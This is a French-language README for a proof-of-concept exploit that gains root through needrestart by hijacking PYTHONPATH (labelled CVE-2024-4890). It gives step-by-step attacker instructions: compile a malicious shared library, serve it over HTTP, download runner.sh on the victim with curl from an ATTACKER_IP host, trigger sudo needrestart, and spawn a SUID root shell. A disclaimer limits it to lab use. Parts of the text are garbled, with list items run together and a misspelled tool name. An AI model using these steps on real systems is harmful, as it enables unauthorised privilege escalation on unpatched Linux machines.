
Exploit PoC pour CVE-2024-4890 : élévation de privilèges Sudo via neecdrestart (>=3.8). Usage éthique uniquement, en laboratoire. Scripts en Python et C.
Pour utilisation en laboratoire uniquement dans des environnements contrôlés. N'exploitez pas sur des systèmes de production sans autorisation explicite. Ce PoC est à des fins éducatives uniquement. L'auteur n'est pas responsable de toute utilisation abusive ou accès non autorisé.
CVE-2024-4890 est une vulnérabilité critique dans needrestart (versions >= 3.8) qui permet l'exécution de code arbitraire avec des privilèges élevés. Le problème provient d'une gestion non sécurisée des variables d'environnement et des fichiers de configuration lors de l'analyse des processus.
Plus précisément, lorsqu'il est exécuté avec sudo, needrestart inspecte les processus Python en cours d'exécution, y compris leur variable d'environnement PYTHONPATH. Un attaquant peut détourner cela en définissant un PYTHONPATH personnalisé pointant vers un répertoire contrôlé (par exemple, /tmp/attacker). Dans ce répertoire, un module malveillant (__init__.so) est placé dans une fausse structure importlib. Lorsque needrestart tente de l'importer en tant que root (pour vérifier les bibliothèques), la charge utile s'exécute, accordant un accès root.
Ce PoC démontre l'exploitation via un processus Python leurre, une bibliothèque partagée malveillante (compilée à partir de C) et un script d'automatisation.
needrestart >= 3.8 et un accès sudo à celui-ci.gcc (pour la compilation), curl, python3.Placez-les dans /tmp/attacker sur la machine cible.
e.py : Script Python leurre (s'exécute en boucle, attend le succès de la charge utile).runner.sh : Script d'automatisation pour configurer et déclencher le leurre.lib.c en __init__.so et hébergez-le :gcc -shared -fPIC -o init.so lib.c
python3 -m http.server 8000
Machine cible (victime) :
/tmp/attacker.main.pyrunner.sh exécutable :curl http://<ATTACKER_IP>:<PORT>/runner.sh -o /tmp/attacker/runner.sh
chmod +x /tmp/attacker/runner.sh
Exécutez la configuration dans un terminal :
cd /tmp/attacker && ./runner.sh
Cela crée le module malveillant, le script leurre, et démarre le processus Python détourné.
sudo /usr/sbin/needrestartneedrestart détecte le processus leurre, lit PYTHONPATH, et importe le __init__.so malveillant en tant que root—exécutant la charge utile.
runner.sh) :/tmp/poc (shell root SUID créé par la charge utile) et lance un shell root :
sudo /tmp/poc -p
Nettoyage : rm -rf /tmp/attacker /tmp/poc (et retirez l'entrée sudoers si elle a été ajoutée).Indicateur de succès : whoami affiche root ou id affiche uid=0(root).